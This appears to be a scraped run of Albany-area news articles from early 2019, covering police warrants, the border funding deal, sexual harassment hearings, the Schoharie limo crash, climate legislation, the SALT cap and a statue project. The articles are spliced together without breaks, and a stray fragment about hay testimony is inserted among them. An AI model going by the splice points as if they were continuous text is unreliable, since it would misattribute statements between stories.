Alleged thieves, drunken drivers and violators of orders of protection are among the fugitives State Police say they are searching for as part of their Warrant Wednesday initiative.

Lauren L. Parshall, 27, is wanted by State Police in Whitney Point on a grand larceny charge. Troopers said the warrant stems from allegations Parshall stole while she was working as a home healthcare aide.

Nicolette Mackin, 25, is wanted by State Police in Catskill on a grand larceny charge that accuses her of fraudulently using credit cards and a forged check to obtain cash from a local business, troopers said. Mackin sometimes goes by the names Nicollette MacCormack and Nicolette Stunns.

Keon M. Sterling, 34, is wanted by State Police in Poughkeepsie on charges of possession of forged instruments. Troopers said the warrants were issued after Sterling failed to appear in court to answer the charges.

Isaac. T. Berk, 26, is wanted by State Police in Canton on a charge of possession of a forged instrument. Troopers said Berk is wanted for violating the terms of his probation following his 2014 arrest for possessing stolen and forged checks.

Matthew M. Meher, 34, is wanted by State Police in Clifton Park on a criminal contempt charge that accuses him of violating an order of protection.

Jessica L. Garbarino, 36, is wanted by State Police in Herkimer on a criminal impersonation charge that accuses him of using someone else's identity when questioned by police.

Jose A. Abreau, 58, is wanted by State Police in Buffalo on a drunken driving charge that accused him of driving while intoxicated on the Thruway on Dec. 24, 2012.

Samuel R. Edwards, 32, is wanted by the State Police in East Meadow on a driving while intoxicated charge. He was arrested on Nov. 17, 2013, and the warrant was issued the following January.

State Police said the public should not approach the wanted people if they think they've spotted them. Instead, they should call police, troopers said.Washington

President Donald Trump declared Tuesday that he was "not happy" about the bipartisan border security compromise negotiated by congressional leaders, but gave no indication whether he would sign or veto it before another government shutdown hits at midnight Friday.

In his first comments since learning details of the deal, Trump said he would have to study it more before deciding what to do. The compromise includes $1.375 billion for new fencing along the border, far short of the $5.7 billion he demanded for a wall  and less even than the deal that he rejected in December, triggering a 35-day partial government shutdown.

"Am I happy at first glance?" he said, responding to reporters at the beginning of a Cabinet meeting. "I just got to see it. The answer is no, I'm not. I'm not happy."

But he said he was "using other methods" to build the wall and played down the chances of having to close government doors again. "I don't think you're going to see a shutdown," he said.

The measure, brokered by senior members of both parties from both chambers of Congress on Monday night, will be taken up as early as Wednesday by the House, which is controlled by Democrats, followed by the Senate, which is run by Republicans.

Sen. Mitch McConnell of Kentucky, the Republican leader, spoke with Trump by telephone Tuesday and urged him to accept the compromise.

"I hope he'll sign it," McConnell told reporters. "I think he got a pretty good deal." He did not rule out overriding a veto if Trump turned against the compromise.

Trump told reporters he was still thinking about declaring a national emergency to bypass Congress and finance wall construction on his own authority, a move that McConnell has warned him against and that would almost surely be challenged in court.

But Trump seemed to be setting the stage for swallowing the compromise and avoiding an emergency declaration by emphasizing that he was already building the wall and was "moving things around" in the budget from "far less important areas" to finance it without Congress.

"Right now, we're building a lot of wall," he said. "And you think it's easy? We're building in the face of tremendous obstruction and tremendous opposition."

In fact, no new walls have been built or financed by Congress based on the prototypes that the Trump administration unveiled in October 2017. Projects to replace or repair about 40 miles of existing barriers have been started or completed since 2017.

Construction of the first extension of the current barriers, 14 miles of a levee wall in the Rio Grande Valley sector, is slated to begin this month, but a butterfly center has asked a judge to block the construction as the barrier would bisect its property.

In an attempt to appease Trump, Republicans repeatedly referred to the deal as a "big down payment" on his wall and softened on the notion of transferring funding within the government to build more barriers. McConnell said he had no objection to the president using whatever "tools" were available, and Sen. Lamar Alexander, R-Tenn., offered a specific proposal: the use of $800 million in drug interdiction funding to shore up border security in areas used by narcotics traffickers.

The agreement includes a provision that could give the Trump administration broad discretion to increase the number of slots to shelter detained migrants, a win for Republicans that could ease the sting of Trump's failure to secure full funding for his border wall.

On its face, Monday's agreement, which still requires passage by both houses of Congress and approval by the president, authorizes the Department of Homeland Security to fund about 40,000 detention "beds," many of them in facilities run by for-profit companies and Immigration and Customs Enforcement itself near the border in Texas, Arizona and California.

In background briefings on the deal, House Democratic aides described the language as a "glide path" from the current level of 49,000 detention beds back down to Obama-era levels of 35,000 or lower.

But a summary of the provisions drafted by Republican staff members on the Senate Appropriations Committee presents a different picture, and one that could be a victory for the White House. The document, provided by an aide to a senator who was reviewing the compromise, places the average number of beds funded under the deal at a much higher number  45,274, including 2,500 slots for families.

And that number could rise to as many as 58,500 beds, Republican aides claimed in their internal communications. That is because federal Cabinet departments have some latitude in how they use funds.

Republicans put the deal in the best light as they sought the president's approval.

"The notion that Congress shouldn't spend more than one dollar on new border barriers, and the idea that we should impose a hard, statutory cap on ICE detainees in the interior of the country, which would require the release of criminals into the United States," were rejected, McConnell said in a statement Tuesday.

Democrats played down the Republican notion that the deal gave expansive leeway to the Department of Homeland Security to move funding around to increase detention facilities.

Two Democratic aides with direct knowledge of the deal said the Republican memo was accurate in theory, but added that such a drastic expansion in the number of beds was unlikely because it would require taking funds from other important programs in the Department of Homeland Security, such as the Federal Emergency Management Agency's disaster relief funds.ALBANY  Victims of sexual harassment and abuse by state officials and staff provided harrowing accounts of their experiences working in the Legislature as they testified before a panel of rapt lawmakers at the Capitol on Wednesday.

Eight former legislative staffers  seven women and one man  detailed how they were subjected to unwanted misbehavior and how the Assembly's leadership and its top staff worked to discredit and silence them.

Many faced retaliation, they said, such as being fired or having their reputations smeared by tabloid media. The testimony included a sharp rebuke to the way some outlets capitalized on their pain, sensationalizing their victimization as a "sex scandal" or, worse, a joke.

Elias Farah talked about reporting harassment by his former boss, then-Assemblywoman Angela Wozniak, who was eventually sanctioned for her behavior. He said she retaliated against him by having her allies slander his reputation, painting him as a "creep preying on a young mother."

"The media, I see you all standing here, the media loved this: male staffer involved in an affair. ... It was traumatic," Farah said.

The witnesses also raised questions with the "jarring" investigative process of the state Joint Commission on Public Ethics, one of the bodies tasked with investigating incidents of workplace harassment in the Legislature.

Victims say they were rigorously interrogated by JCOPE staff but never received updates on whether their cases were resolved or the investigations discontinued.

"The JCOPE process feels very much like you are on trial," Farah said.

Eliyanna Kaiser, who worked for former Assemblyman Micah Kellner, said that she learned JCOPE was investigating her claims when she received a subpoena after "a 7 a.m. knock on the door."

"I was home with my twins. I literally had to hand him a baby to sign some things," she said of the JCOPE staffer.

Leah Hebert, former chief of staff to Brooklyn Assemblyman Vito Lopez, a serial harasser who died in 2015 after being forced to resign, testified that her efforts to seek an investigation and to obtain protective measures for her staff were rebuffed. Instead, she was forced to sign a nondisclosure agreement.

"When I finally came forward to file a complaint ... I was a shell of my former self, both physically and emotionally," she said. "I was severely traumatized, and suffered from regular panic attacks and suicidal thoughts."

Chloe Rivera, another former Lopez staffer, told the panel that he had instructed her to wear revealing clothing and paraded her to his friends. She too experienced signs of post-traumatic stress disorder.

Kaiser testified that she was ordered to fire a staff member, Danielle Bennett, who had reported Kellner's persistent online advances.

Elizabeth Crothers, who has for years alleged that former top Assembly staffer Michael Boxley raped her in 2001, described how the chamber's leadership closed ranks behind him before his arrest at the Capitol in 2003 for assaulting another young woman. Boxley was ultimately convicted of sexual misconduct, a misdemeanor, and later took a job with a top lobbying firm.

More for you News For sexual harassment witness, the fallout has been...

The atmosphere in the room during the testimony was tense. Some lawmakers who were in office during the Lopez and Kellner scandals looked stricken. Two female lawmakers openly wept as the survivors spoke. One senior lawmaker had his eyes closed during the testimony.

"Many of us feel shame as members of this body. ... And you, being survivors, because of what we did or did not do, it really, well, shakes you to your core," said Sen. Brad Hoylman, D-Manhattan, his voice shaking.

Assemblyman Charles Lavine acknowledged that as the former chair of the Assembly's ethics committee, he was involved in handling the claims against Lopez, Kellner and Wozniak.

But Lavine also had a hand in overhauling the Assembly's sexual harassment policy in 2014, after it was revealed that then-Speaker Sheldon Silver had pressured multiple victims of harassment and sexual assault to sign nondisclosure agreements in exchange for monetary settlements.

"Your testimony is very powerful and leads me to believe personally, when I look back on these experiences, that perhaps the overall concern was to try to get rid of the bad apples," Lavine said. "But in retrospect, we have learned that we need to do more to protect victims."

JCOPE Executive Director Seth Agata looked visibly uncomfortably as Biaggi interrogated him about the ethics commission's handling of sexual misconduct complaints involving state lawmakers.

"The way the law is isn't working," Biaggi said.

Sen. Jim Skoufis, a freshman Democrat from the Hudson Valley, asked JCOPE investigator Emily Logue why the agency had only investigated 43 incidents of harassment in the Legislature. It had only released findings in three of those cases.

"Clearly, this is a more pervasive issue than the volume than you are handling  what happened?" he said.

Agata acknowledged that more "mindfulness" was needed in JCOPE's handling of victims, and pressed the lawmakers to pass measures that would add a degree of transparency to the ethics panel's notoriously opaque investigations.

It was the first sexual harassment hearing Albany has seen in nearly three decades. Lawmakers engaged with victims for hours, discussing potential legislation that would improve the investigation process, exposing areas for improvement in the state's Human Rights Law, and obstacles to recourse for victims.

Several women who testified at Wednesday's hearing formed a sexual harassment working group last year, calling for a public discussion on the issue of workplace harassment. They put out a policy paper recommending improvements to the state's Human Rights Law and pressured legislative leaders to conduct the hearing.

Victims of harassment were warned ahead of time that their testimony could be used against them in any pending litigation, and were cautioned not to identify anyone they have accused of harassment.

"We are not here to litigate any specific case," panel co-chair Sen. Alessandra Biaggi said.

The conversation, notably, was steered by younger, mostly freshman legislators, including Biaggi, who in September unseated Jeff Klein, a Bronx senator who had been accused of forcibly kissing a staffer.

Biaggi was among several lawmakers on the panel who have spoken of their own experiences with sexual abuse when the Legislature passed the Child Victim's Act last month.

Earlier Wednesday, the panel grilled Department of Labor Commissioner Roberta Reardon about enforcement of the state's sexual harassment policy, which was enacted in last year's state budget, and about their outreach to working class and poorer communities.

The standards were produced in the wake of the #MeToo movement, which brought renewed national attention to the pervasiveness of workplace harassment.

Reardon specified that the agency's main function is education and not compliance, and that other agencies are responsible for enforcement.

A New York City Human Rights official, Dana Sussman, testified about the disparity between New York City human rights law and statewide laws that prohibit sexual harassment and discrimination.

In particular, upstate complaints must meet a federal "severe and pervasive" standard in order for the unwanted behavior to be considered unlawful, something that has been a obstacle to justice for many victims, employment attorneys say.

"This standard, created by the Supreme Court in 1986, is woefully outdated," Sussman said.

Cuomo has vowed to sign any legislation that comes out of the hearing that passes both houses.

The third-term Democrat maintains that sexual harassment protections passed during the state's secretive budget process last March are among the most aggressive in the nation.MOREAU - A Fort Edward man who is a parole absconder was arrested on Tuesday for allegedly burglarizing a home, State Police said.

Brandon A. Belair, 29, was allegedly seen by the homeowner leaving his residence with his property, police said. When Belair was located, he was found with the stolen property from the Moreau house as well as stolen items from another previously reported crime, police said.Schoharie

New details from the National Transportation Safety Board appear to indicate that the driver in the deadly Oct. 6 limousine crash in Schoharie swerved out of the way of a car stopped at the bottom of a long hill on Route 30 before careening into the parking lot of the Apple Barrel Country Store and Cafe.

That description, included in a preliminary report made public by the NTSB on Monday, matches a Times Union report published in November that revealed the account of a witness whose car was stopped at the bottom of Route 30 just seconds before the crash occurred.

The witness, who had another passenger in the car, told investigators that as they were at the stop sign at the intersection with Route 30A, the stretch 2001 Ford Excursion sped down the hill behind them and swerved out of the way and flew through the intersection.

Sal Ferlazzo, an Albany attorney who is representing the family of crash victim Amanda Rivenburg, said he has interviewed the same witness as part of the civil lawsuit he has filed against Prestige Limousine of Wilton, which owned the Excursion.

Ferlazzo said the witness at the stop sign, whom he did not identify, was terrified when the limo came speeding down the hill.

But the limo driver, Scott Lisinicchia, steered the car to the left, Ferlazzo said. The move spared the occupants of the stopped car from becoming two more victims of the tragedy.

"It did swerve," Ferlazzo said of the Excursion. "I thought perhaps the driver had had a stroke or heart attack, but they made a maneuver. At least he was in some control. It's shocking that they just didn't plow into them."

All 17 passengers aboard, as well as Lisinicchia, died after the Excursion hit a Toyota Highlander in the parking lot at the Apple Barrel and then drove into a ravine where it collided with an embankment. Authorities have said all the deaths aboard the limo were caused by blunt-force trauma.

Two bystanders, Brian Hough and his father-in-law James Schnurr, were also killed in the store's parking lot. They had stopped on their way to a wedding with other family members and were walking across the lot when the limo struck their Toyota Highlander.

"The limousine's impact with the SUV caused the SUV to subsequently strike and kill two of the approaching pedestrians," the NTSB report states.

The operator of the limousine company, Nauman Hussain, has been charged with one count of criminally negligent homicide; he had pleaded not guilty. The company is owned by his father, Shahed Hussain, who has been in Pakistan since before the crash. Although Shahed Hussain is not facing any criminal charges, he is named as a defendant in the civil lawsuit along with his son Nauman.

Although the NTSB report does not mention anything about the potential cause of the crash, court filings in the criminal case indicate that potential brake failure is a major focus of the investigation being handled by State Police.

According to the Times Union's report from November, the same witness who was stopped at the intersection had told investigators they had passed by the limo further up the hill while they were driving down Route 30.

The limo, which had been hired to take a group of friends and family members from Amsterdam to Cooperstown, had pulled over on the shoulder of the road, the witness said, and was slowly rolling forward with its reverse lights on and backup sensor beeping.

It's unclear why the driver might have pulled over, or if he was attempting to put the car in reverse. That section of Route 30 between the intersection with Route 7 and Route 30A is about two miles long and is steep at times. The posted speed limit is 55 mph; it is easy to gain speed quickly.

State Police have not released any of the details of their investigation of the case, which is being done in coordination with the Schoharie County District Attorney's office. The NTSB says more details will be made public in a factual report that will be issued later. The final report will also include a probable cause assessment and safety recommendations.LIVINGSTON - A Kinderhook man was arrested for allegedly driving drunk, causing him to crash into a house on Sunday, State Police said.

At about 3:05 p.m., Kevin W. Jornov Jr., 30, was driving a 2014 Ford Escape on County Route 10 when he drove into the garage portion of a home, police said. His passenger was taken to Albany Medical Center with minor injuries.Could New York eliminate all its greenhouse gas emissions by the time children born today have just cracked their 30th birthdays?

That was the subject of a hearing before state lawmakers Tuesday on the ambitious Climate and Community Protection Act, which if adopted would require the state to be entirely free of fossil fuels by 2050.

And 20 years before that, in 2030, the state would have to get at least half of its electricity from renewables, up from the current 28 percent. That figure includes the 25 percent that the state is getting from its hydroelectric system dating from the 1950s.

At a hearing in the Capitol before at the Senate Standing Committee on Environmental Conservation, environmental groups praised the measure as a bold necessity that could lead the way nationally for what must be done to curb ongoing, man-made climate change being fueled by greenhouse gas emissions from the combustion of oil, gas and other fossil fuels.

The measure also would require that 40 percent of state clean energy funding be spent on projects in economically-disadvantage communities.

But opponents questioned whether the economic consequences would be too severe for a state that accounts for less than 1 percent of global greenhouse gas emissions.

Calling climate change "the most pressing environmental issue of our time," Peter Iwanowicz, executive director of Albany-based Environmental Advocates of New York, urged support for the bill, which was also introduced in the Assembly in 2017 and 2018, but died in the Senate.

The measure is even more ambitious that the plan by Gov. Andrew Cuomo to have the state generate half of its electricity from renewables by 2030 and all of it by 2040. That plan does not address greenhouse gas emissions from the vehicles and buildings.

That difference is why the proposed law is needed to help the state show other states and nations what is needed to avoid the "cataclysmic" impacts on global climate change, said Roger Downs, conservation director of the Atlantic Chapter of The Sierra Club.

Opposition to the measure came from The Business Council of New York State, a business lobbying group, and Unshackle Upstate, an anti-tax, anti-regulation group that has advocated unsuccessfully for opening up the state to hydrofracking for natural gas.

Darren Suarez, director of government affairs for the Business Council, said greenhouse gas reductions ought to be voluntary, rather than mandatory as proposed under the law. He said lawmakers should "accept that climate change occurs on a global scale ... what if emissions are eliminated in New York, only to go up elsewhere?"

Michael Kracker, executive director of Unshackle Upstate, called the proposal "well-intentioned," but warned it would raise energy costs, particularly on farmers and senior citizens on fixed incomes, which would further the population flight that the state has been experiencing in recent decades.

Further hearings on the proposed law are also set for Thursday and Friday in New York City and Long Island.ALBANY  For Gina Bianchi, the fallout of stepping forward as a witness in a sexual harassment case has been devastating. Financially. Emotionally. Physically.

"This horrible, life-changing incident destroyed my career, and I have suffered a stigma that I am not sure can ever be rectified," Bianchi wrote in testimony submitted this week to a legislative panel examining sexual harassment in the workplace  including misconduct that occurs in state government offices.

Although Wednesday's hearing at the Capitol  the first on that topic in more than 25 years  focused largely on the treatment of alleged victims and the byzantine way in which a multitude of agencies and offices probe sexual harassment, there was little discussion by the state officials who testified about the problem of retribution against victims, or what can happen to those who may step forward as witnesses.

The six-page written statement submitted to the panel by Bianchi, an attorney who has worked for the state for 25 years, marked her first public comments since being fired from her senior-level job at the Division of Criminal Justice Services in December 2017.

Bianchi was terminated at the direction of DCJS acting Commissioner Michael C. Green, who had interrogated her that day for roughly two hours. Green confronted Bianchi with her confidential testimony to the Inspector General's office, which had investigated allegations that a DCJS supervisor, Brian Gestring, had engaged in years of sexual harassment and workplace violence.

The Inspector General's office, in a letter report to DCJS the day after Bianchi was fired, sustained the allegations against Gestring and advised the agency to take action against several senior-level officials for their mishandling of the case. But DCJS instead claimed it had conducted its own investigation and concluded that Gestring had done nothing wrong.

After she was terminated, Bianchi was able to fall back into a junior-level position at DCJS because of Civil Service rules, but she suffered a $44,000-a-year pay cut and lost her senior status. She said the loss of income has been "devastating" as one of her children recently graduated from college and another recently enrolled.

"The most ironic thing here is that I lost my job  despite the fact that I didn't do anything wrong," her testimony stated. "What I did was the right thing. I testified truthfully. And, despite what has happened to me, I couldn't in good conscience do anything differently today."

Bianchi has filed a federal lawsuit alleging her civil rights were violated. The state, with the support of Gov. Andrew M. Cuomo, is waging a fierce defense of Green and other government officials, who are all being represented by private attorneys. They contend Bianchi's confidential testimony to the inspector general's office contradicts allegations that she has made in her federal civil complaint; Bianchi and her attorney vehemently dispute those claims.

Kimberly Schiavone, another longtime DCJS employee, has also filed a federal lawsuit accusing top officials there of ignoring her sexual harassment complaints against Gestring and instead punishing her. He lawsuit said she was transferred from her position against her wishes in 2017, and moved from an office with windows into a smaller office that was formerly a storage closet.

Last August, Dani Lever, Cuomo's press secretary, wrote a letter to the Times Union claiming the newspaper's stories on the DCJS case "misrepresented the facts, or blatantly ignored them."

Lever's letter noted that the defendants in Bianchi's federal case  including Green and Inspector General Catherine Leahy Scott  "filed motions to dismiss citing what they say are blatant falsehoods and legal inaccuracies contained in the suit."

The letter on behalf of the governor's office failed to note that the details of the defendants' arguments have been made largely under seal  over the objection of Bianchi and her attorney, John W. Bailey.

Lever, whose letter said that "facts matter," also accused the Times Union of inaccurately reporting that Cuomo's chief counsel, Alphonso David, had declined to intervene in the DCJS case after he was privately briefed on the case by Leahy Scott and two top DCJS officials, about a week after Bianchi was fired.

Dani_Lever_letter_DCJS by on Scribd

At the time, a spokesman for Cuomo said their office had referred the matter to the Governor's Office of Employee Relations (GOER), which did not have investigative powers and took no action to undo Bianchi's termination.

GOER has claimed its investigation of the case is ongoing more than a year later. There is, however, little evidence suggesting its work continues. Separately, the Joint Commission on Public Ethics also had been asked to review the case.

Bianchi disputed Lever's account of the handling of the case by the governor's office and the multiple agencies involved in the matter.

"If the facts matter, why werent Kim, me or the other 10 people who testified in the IG's investigation interviewed by DCJS in its alleged investigation?" Bianchi said in a statement. "Dani Lever is saying dont believe women. Or dont believe victims. Just believe the defendants filing motions to dismiss. ... Why should their motions to dismiss be believed and not what I allege in my complaint? What happened to the governors assertions to 'believe women?'"

The Times Union editorial board declined to publish Lever's letter last year.

More for you News Victims offer harrowing testimony at sexual harassment...

Bailey, Bianchi's attorney, declined to comment, citing the ongoing federal litigation.

Gestring, a former New York Police Department scientist, has denied sexually harassing employees or engaging in other workplace misconduct. He was fired from DCJS last March, for what the agency said was an unrelated complaint involving inappropriate comments made at an off-site training seminar in June 2017. Gestring had been the director of forensic science at DCJS since 2012.

Sources familiar with the allegation that led to Gestring's termination said the incident took place during a DNA training session at the State Police crime laboratory, where Gestring allegedly had made a vulgar remark as the group examined a rape case involving young children. A female State Police scientist filed a complaint about his remark, but the agency took no action.

The Inspector General's investigation of Gestring, outlined in a letter report that was obtained by the Times Union, revealed a history of offensive and inappropriate behavior that began shortly after he started working for DCJS.

State records indicate that about four months after Gestring was hired, he received two counseling memos for misbehavior. Gestring signed the memos certifying that had read them, but added handwritten notes claiming he disagreed with the findings, had been forced to sign them, and that staff at DCJS had "agendas," according to details of the inspector general's investigation shared with the Times Union.

Leahy Scott's investigators, who obtained sworn testimony from multiple DCJS employees, said they were also told that Gestring had once encouraged a female manager to file fraudulent sexual harassment charges against a male colleague in an apparent effort to have him terminated. The woman refused.

Bianchi, in her written testimony, called on the Legislature to demand the release of the Inspector General's report. Although the Times Union has obtained a copy of the report from a confidential source, Bianchi and her attorney said they have never been provided with a copy of the report from the agency. Gestring also said that he never received a copy.

"The Legislature and the governor have long called for independent investigations conducted by independent agencies," she wrote. "In this case, DCJS claimed that after the IGs investigation, DCJS did its own. That is laughable  and this Legislature should prohibit executive agencies from conducting a 're-do' after an independent IG investigation  simply because the results of the IGs investigation may cast an agency in a negative light."ALBANY  President Donald J. Trump may be "open to a change" in a 2017 law that placed a $10,000 cap on federal deductions of state and local taxes, a limit that Gov. Andrew M. Cuomo said has been devastating to New York and other Democratic states.

It's unclear whether Trump and Cuomo, who met at the White House on Tuesday afternoon at the request of the governor, had reached a consensus on whether the president would support efforts to retool the federal tax law.

"The president previously said that he was open to a change. He suggested he was open to a change here, also," Cuomo said in an interview with WCBS NewsRadio on Tuesday evening.

Cuomo said that Lawrence Kudlow, the National Economic Development Council director, attended the White House meeting and indicated "we would sit down and we would go through the issues."

A summary of the meeting issued by the White House on Tuesday evening made no mention of Trump's willingness to revamp the 2017 tax law, but noted the president had "listened to the governor's concerns" and "reiterated the negative impact that high taxes in states like New York have one hardworking families and job creators."

The meeting took place as New York and three others states, Connecticut, New Jersey and Maryland, have filed a federal lawsuit in Manhattan challenging the legality of the federal tax regulations. The lawsuit is pending.

Cuomo initially had planned to hold a news conference at the Capitol in Albany when he returned from the White House, but it was cancelled due to the snowstorm that engulfed the Northeast on Tuesday.

The meeting at the White House marked at least the second time that Cuomo has also talked to Trump about the planned Gateway Tunnel, a $13 billion project that would replace a critical century-old rail connection between New York and New Jersey that Cuomo said is "dangerous." President Barack Obama's administration proposed in 2015 to split the price tag for that project between the two states and federal government, but it has been rejected by Trump.

"He is not willing to fund the Gateway Tunnel," Cuomo said. "It's dangerous and they don't want to pay to repair it and I think it's a public safety issue. ... This is a train tunnel and it's 100 years old and it's collapsing."

The summary of the meeting provided by the White House said only that they had discussed "the need to update America's outdated infrastructure system."

On the tax law, Cuomo said he is continuing to organize support from leaders of other states and also calling on Congress  now that the House is controlled by Democrats  to take action to revamp the 2017 tax law. Cuomo contends that the law cut tax rates for the wealthy but that those reductions are being made up by penalizing taxpayers in states like New York.

"What their tax bill does, is it raises taxes on New Yorkers and that's why I'm complaining," he said. "This raises property taxes by ending the deduction. This takes your income tax and raises the income tax by about 30 percent."

Last week, Cuomo announced New York is facing an unexpected $2.3 billion shortfall  the most significant in eight years  that he attributed in large part to the federal rollback of the state and local tax deduction, known as SALT.

"We believe it's partially because people are moving from New York to other states like Florida, which have lower tax rates," he said, adding that the inability of many New Yorkers to federally deduct the state and local taxes they pay has been a factor in the exodus.

Cuomo's administration estimates that the $10,000 cap on federal deductions of state and local taxes has adversely affected about 1.7 million of New York's 9 million taxpayers.

Trump acknowledged publicly last week the tax law has had "severe" implications for New York and other blue states, but he said that New Yorkers, especially upstate residents, have "been treated very badly" by their state government. The president has, on more than one occasion, recommended upstate New York residents consider leaving.

Cuomo acknowledged again Tuesday that people are leaving New York because of high taxes, but he said that Trump's tax regulations may be driving that trend.Newell-Reed testified that the local hay season has been bad because of wet weather and that she typically buys her hay bales in small batches from 10-30 bales. She testified she feeds her horses two to three times a day, once in the morning and at one or two various times per day, with no set schedule, as some of horses have behavior problems and she doesnt want them to develop food aggression.ALBANY  The last time New York state held a public hearing on workplace harassment was in 1992, following law professor Anita Hill's testimony before a U.S. Senate committee over the alleged behavior of Supreme Court nominee Clarence Thomas.

Those confirmation hearings sparked a national uproar and revealed the pervasiveness of sexual harassment in the workplace.

A generation later, state lawmakers will publicly revisit the topic on Wednesday, soliciting feedback from about 30 experts and victims  including a group of legislative aides who say their complaints of workplace abuse were mishandled.

Seven women formed the "sexual harassment working group" that has for 11 months called for a public hearing on the topic at the Capitol, which has been marred by decades of harassment scandals, often involving coverups and confidential payoffs.

Gov. Andrew M. Cuomo, in a radio interview Tuesday, vowed to sign off on any legislation produced by the hearing that passes both houses of the Legislature.

"Whatever they come up with, as rigorous as it can be, I support it 100 percent," the governor said.

The third-term Democrat was criticized by the working group last year for passing workplace protections during the state's notoriously opaque budget negotiation instead of through a more open process.

Last year's legislation, including the creation of a model sexual harassment policy and a ban on mandatory arbitration, were hurriedly passed in the midst of a national reckoning with workplace harassment. Advocates and employment attorneys have panned the measures as weak.

Cuomo defended the decision to pass the laws during the budget, calling them "strongest in the nation."

Former Sen. Jeff Klein, D-Bronx, was included in last year's budget talks, which typically consist of closed-door conversations between leaders of the Assembly and Senate and the governor.

Klein, who led the now-defunct Independent Democratic Conference, was under investigation at the time by the Joint Commission of Public Ethics for allegedly forcibly kissing a staffer at an Albany bar in 2015. The staffer, Erica Vladimir, is a founding member of the working group.

Klein, who denies the allegations, lost his Senate post in September's Democratic primary and was subsequently hired by the state lobbying firm Mercury Public Affairs.

To be clear, New York does not have the strongest anti-sexual harassment laws in the nation, but its great to see the governor get behind survivor-led efforts to improve them, Vladimer said in a statement.

State Sen. Alessandra Biaggi, who unseated Klein in September, is among six co-chairs convening the upcoming hearing. She has been outspoken on the issue of sexual harassment.

"Even though we have prepared questions, we don't know what's going to be said. So this might spark another dialogue and conversation that we need to be ready for," Biaggi said in a press conference Tuesday afternoon. "I'm committed to staying in that hearing room until every person is heard and every question that needs to be asked is asked."

The working group has called for changes such as the passage of a state constitutional Equal Rights Amendment; the establishment of the state Division of Human Rights as the sole overseer of sexual harassment training, reporting and enforcement; and mandated tracking of sexual harassment complaints by public and private employers.

Cuomo on Tuesday vowed to support all of those measures, but was less emphatic about barring lobbying firms from employing former government officials who have been credibly accused of sexual misconduct, calling it "a constitutional problem."

It was Cuomo's father, former Gov. Mario Cuomo, who convened a task force to explore the issue and more clearly define sexual harassment in 1992. The issue has not been addressed in a public forum since.

For nearly a year, the working group's calls for public hearings were ignored by legislative leaders.

In January, new Senate Majority Leader Andrea Stewart-Cousins, D-Westchester, took the helm of the Senate and on the first day of the legislative session declared her support for a hearing on sexual harassment.

Cuomo's 2019-20 executive budget proposal includes a bill to end the "severe and pervasive" standard for harassment complaints, something that employment attorneys say is a major obstacle to justice for victims of workplace misconduct.BRIDGEPORT  Its the stuff of cartoons.

But Karina Gutierrez is not laughing.

Shes suing over the serious injuries she sustained when she accidentally grabbed a stick of explosives, mistaking it for a candle.

This is a terribly tragedy to happen to this family, said Gutierrezs lawyer, Paul Ganim. We are thankful, although the mother was tragically injured, that the young children were not physically injured. I am committed to pursuing all legal actions to adequately compensate this family for their horrible loss.

Gutierrez and her husband, Abidias Martinez, are suing the former owner of their Lindley Street home, Oscar Aguirre, in Superior Court here. Aguirre could not be reached for comment.

On Sept. 6, 2018, powerful thunderstorms swept through the area, knocking out power to hundreds of city residents, including those in the home where Gutierrez lived with her husband and two young children.

Shortly after the power went out in her home, the lawsuit states, Gutierrez began to search the house for candles. During her search she found what she believed to be a candle in the basement. But when she lit the wick on top of the candle-shaped object it exploded, the suit states.

As a result of the explosion the suit states that Gutierrez suffered serious injury to her face, eyes and hands and was treated first at Bridgeport Hospital and later transferred to Yale-New Haven Hospital.

In the meantime, local police and the state police bomb squad evacuated the family and cordoned off the home as they investigated the explosion.

The suit states that Gutierrez lost part of her left hand, suffered injury to her right eye and permanent scarring of her face, chest and arms as the result of the explosion. She will have to undergo continued medical treatment incurring significant medical expenses.

Mrs. Gutierrezs injuries and losses were directly caused by the willful, wanton and reckless conduct of the defendant in that he knew of the existence of the explosive device but failed to remove it from the basement when he sold the property in deliberate disregard for the safety of the plaintiffs, the suit states.Schenectady

A life-size bronze statue of Harriet Tubman and William Henry Seward commissioned by a group of Schenectady boosters to celebrate diversity and highlight a little-known friendship between the escaped slave and the statesman has undergone a trial by fire.

When a fast-moving blaze on Nov. 1, 2017, destroyed Dexter Benedict's barn that housed his foundry and sculpture studio in the Finger Lakes, everything was lost: clay, tools, equipment and several large-scale sculptures in progress.

The life-sized molds of Tubman and Seward, nearly completed, were twisted and ruined by the intense heat of the fire at his rural Yates County property, exacerbated by exploding propane tanks used in the foundry.

"I was in complete shock after the fire. Absolutely everything was destroyed," said Benedict, 74, who has been making monumental statues of historical figures for decades, including inventors Thomas Edison and Charles Steinmetz in Schenectady.

Benedict had to start over from scratch after the devastating loss. He built a new barn studio, purchased new equipment and resumed work after a forced hiatus of months. He pushed back the delivery dates of his sculpture commissions a year.

On May 17, a dedication ceremony will be held at the remade bronze statue of Tubman and Seward. It will be installed in front of the Schenectady County Library at the corner of Clinton and Liberty streets across from City Hall during a dedication ceremony.

"We are so grateful that Dexter decided to rebuild his studio and foundry and to start all over again," said Frank Wicks, an emeritus mechanical engineering professor of Union College. Wicks paid for half of Benedict's $62,000 commission fee and is soliciting donations to fund the balance. He refused to let the setback of the fire or other obstacles derail the sculpture project he passionately pursued for more than a decade.

Wicks, 79, taught at Union for 30 years before his retirement in 2018. He was well aware of the political legacy of Seward, who graduated from Union College in 1820 and served as New York governor, U.S. senator and secretary of state under Abraham Lincoln and Andrew Johnson. Seward is perhaps best remembered for negotiating the purchase of the Alaskan Territory from Russia in 1867. His stature as a statesman grew as a result of Doris Kearns Goodwin's 2005 bestselling book, "Team of Rivals."

During a 2000 visit to the Seward House Museum in Auburn, Cayuga County, with his wife, Dawn, the couple happened upon the Harriet Tubman Home about a mile away. "We were surprised by the proximity and wanted to know why," Wicks recalled.

Seward, a staunch abolitionist, took a rather radical step in 1859 that cost him politically. He flouted the law and sold some of his property to Tubman on very favorable terms and helped Tubman, an escaped slave, set up a homestead there on the city's outskirts. The next year, Seward lost the presidential nomination of the Republican Party to Lincoln.

Tubman was born into slavery in Maryland in 1822. She escaped to the north and gained her freedom in 1849. She was an outspoken abolitionist who helped dozens of slaves escape bondage as a prominent "conductor" on the Underground Railroad. She was dubbed "the Moses of her people." The Underground Railroad included a stop in Albany's Arbor Hill at the Livingston Avenue home of Stephen and Harriet Myers. Seward financially supported the Myers' efforts in Albany.

